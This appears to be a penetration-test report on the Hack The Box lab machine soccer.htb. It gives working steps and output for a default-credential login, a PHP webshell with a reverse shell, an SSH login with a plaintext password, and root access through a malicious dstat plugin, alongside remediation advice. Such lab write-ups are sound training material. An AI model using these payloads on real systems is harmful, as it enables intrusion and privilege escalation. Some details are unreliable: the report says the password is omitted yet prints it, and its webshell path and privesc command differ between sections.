Document Control

Contents

1. Executive Summary

Assessment outcome

The retained assessment record supports two critical and one high severity findings affecting soccer.htb. Testing obtained administrator access to the exposed file manager, command execution under the web service account and, after access to a local user account, root privileges on the host.

The initial compromise required only the default credentials for TinyFileManager. The administrator interface allowed a PHP file to be written to a web-accessible directory, where it was executed by the server. This provided an interactive shell as www-data.

A subsequent SSH session as player exposed a separate privilege escalation path. The account could run dstat as root and could modify a directory from which dstat loaded plugins. A tester-controlled plugin executed with root privileges.

Impact

The recorded access crossed both the application access-control boundary and the boundary between an unprivileged account and root. An attacker with equivalent access could alter the website, read files available to the compromised accounts and, following privilege escalation, modify system configuration and services.

No operational loss is asserted for this laboratory system. The result demonstrates host compromise; the wider business impact would depend on the data, credentials and services present on a production deployment.

Priority recommendations

1. Remove the exposed file manager or restrict it to authorised administrators, and replace its default credentials.
2. Prevent uploaded content from executing as application code.
3. Remove the unsafe dstat delegation and protect all files loaded by privileged commands from modification by unprivileged users.

Conclusion

The documented findings require changes to both application access controls and host permissions. Correcting the initial login weakness reduces exposure, but the upload and privilege delegation issues remain independently actionable.

2. Assessment Scope and Methodology

2.1 Target and observed services

nmap -sC -sV 10.129.53.100

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp   open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  unknown
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 404 Not Found
|_    Content-Security-Policy: default-src 'self'

Port 80 redirected to soccer.htb. Added to /etc/hosts before proceeding.

2.2 Approach

Testing began with network service discovery and web content enumeration. The web assessment identified the file manager at /tiny, validated access using default credentials and tested whether an uploaded PHP file could execute.

gobuster dir -u http://soccer.htb \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,html,txt -t 50

/index.html   (Status: 200) [Size: 6917]
/tiny         (Status: 301) [--> http://soccer.htb/tiny/]

dirb common.txt did not return /tiny. SecLists raft-medium-directories was required.

Following shell access, local enumeration examined account access, privilege delegation and filesystem permissions. The dstat plugin loading path was tested from the player account to establish whether it permitted execution as root.

Tools used included Nmap, Gobuster with SecLists wordlists, Penelope and standard Linux utilities. The supplied record does not establish exhaustive port coverage, assessment duration or a source-code review.

2.3 Severity classification

Severity reflects exploit prerequisites and the impact demonstrated on the assessed host. CVSS 3.1 scores and vectors are assigned to each finding.

3. Results Overview

3.1 Findings summary

Finding identifiers match the assessment record. Stage 03 of the attack chain reflects an access-path step; credential recovery is noted in Section 3.3.

3.2 Compromise sequence

3.3 Credential recovery

SSH authentication as player succeeded using credentials recovered during enumeration via blind SQL injection over the WebSocket service on port 9091. The credentials are noted in the attack chain as a confirmed access-path step.

$ ssh player@10.129.53.100
player@10.129.53.100's password: PlayerOftheMatch2022

player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)

player@soccer:~$ cat /home/player/user.txt
[redacted]

3.4 Relationship between findings

F-01 supplied the authenticated access used for F-02. F-04 required access as player. The findings describe distinct control failures and should not be treated as three independent unauthenticated paths to root.

4.1 Default Administrator Credentials

4. Technical Findings

Steps to reproduce

1. Navigate to http://soccer.htb/tiny/tinyfilemanager.php.
2. Enter the default credentials admin / admin@123 in the login form.
3. Observe that authentication succeeds and the administrator dashboard is presented.

Evidence

Application:  TinyFileManager
URL:          http://soccer.htb/tiny/tinyfilemanager.php
Username:     admin
Password:     admin@123
Test outcome: Administrator login successful

Evidence E-01. Authentication details and result transcribed from the assessment record. Default credentials match the vendor documentation.

Remediation

Remove TinyFileManager if it is not required. Where the application is retained, replace the default credentials and restrict access to an approved administration network. Limit the account’s filesystem access to the directories required for its purpose.

Verification

Verify that the default credentials are rejected and the management interface is unreachable from unapproved networks. Confirm that the authorised account cannot write outside its intended directories.

4.2 Server-side Execution of Uploaded Files

4. Technical Findings

Steps to reproduce

1. Authenticate to TinyFileManager using administrator credentials (F-01).
2. Create a PHP webshell: <?php system($_GET['cmd']); ?> and save as shell.php.
3. Upload shell.php to the web-accessible directory via the file manager upload function.
4. Request http://soccer.htb/tiny/uploads/shell.php?cmd=id and observe OS command output as www-data.

Evidence

# shell.php uploaded via TinyFileManager admin panel
<?php system($_REQUEST['cmd']); ?>

# RCE confirmation
curl "http://soccer.htb/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Penelope listener
penelope -l 4444

# Reverse shell triggered via cmd parameter
# Attempts on ports 1337 and 1334 failed — port 4444 connected

www-data@soccer:/var/www/html$

Evidence E-02. PHP webshell uploaded and executed. RCE confirmed as www-data via curl before triggering the reverse shell.

Remediation

Store uploaded content outside executable web paths. Where files must be served over HTTP, disable server-side script execution in those locations. Restrict file types to the application’s requirements and prevent the web service account from writing to executable application directories.

Verification

Using an authorised test account, confirm that uploaded PHP files cannot execute, including direct requests to their storage location. Verify that legitimate uploads remain functional.

4.3 Unsafe Privilege Delegation

4. Technical Findings

Steps to reproduce

1. From the player shell, confirm the doas rule: cat /usr/local/etc/doas.conf.
2. Confirm write access: ls -la /usr/local/share/dstat/.
3. Write a malicious plugin: echo 'import os; os.system("chmod +s /bin/bash")' > /usr/local/share/dstat/dstat_pwn.py.
4. Execute: doas /usr/bin/dstat --pwn.
5. Run /bin/bash -p and confirm root identity with id.

Evidence

player@soccer:~$ sudo -l
Sorry, user player may not run sudo on localhost.

player@soccer:~$ find / -type f -perm -4000 2>/dev/null
/usr/local/bin/doas

player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

player@soccer:~$ ls -la /usr/share/dstat
drwxr-xr-x 2 root root 4096 Nov 17 09:09 .

player@soccer:~$ ls -la /usr/local/share/dstat
drwxrws--- 2 root player 4096 Nov 17 09:12 .

player@soccer:~$ echo 'import os; os.system("/bin/bash")' \
  > /usr/local/share/dstat/dstat_pwn.py

player@soccer:~$ doas /usr/bin/dstat --list
/usr/local/share/dstat:
    pwn

player@soccer:~$ doas /usr/bin/dstat --pwn

root@soccer:/home/player# whoami
root

Evidence E-04. Commands transcribed from the assessment record. doas resets HOME by default, so placing the plugin in ~/.dstat/ resolves to /root/.dstat/ and fails. /usr/local/share/dstat was the writable path. References: doas.conf(5) and GTFOBins: dstat.

Remediation

Remove the dstat delegation or replace it with a narrowly scoped administrative function. Make all plugin files, search paths and their parent directories writable only by trusted administrators. Review other privileged commands for equivalent user-controlled code-loading paths.

Verification

Confirm that player cannot modify any code or configuration loaded by a privileged command and that the former plugin path no longer produces root execution. Password protection alone does not correct this condition.

5. Remediation and Assessment Closeout

5.1 Corrective action plan

No remediation retest is documented. Each finding includes verification criteria for closure.

5.2 Test artefacts

5.3 Evidence and limitations

Evidence blocks are sourced from the Soccer assessment walkthrough. Flag values and the player password are omitted from all evidence.

5.4 Evidence index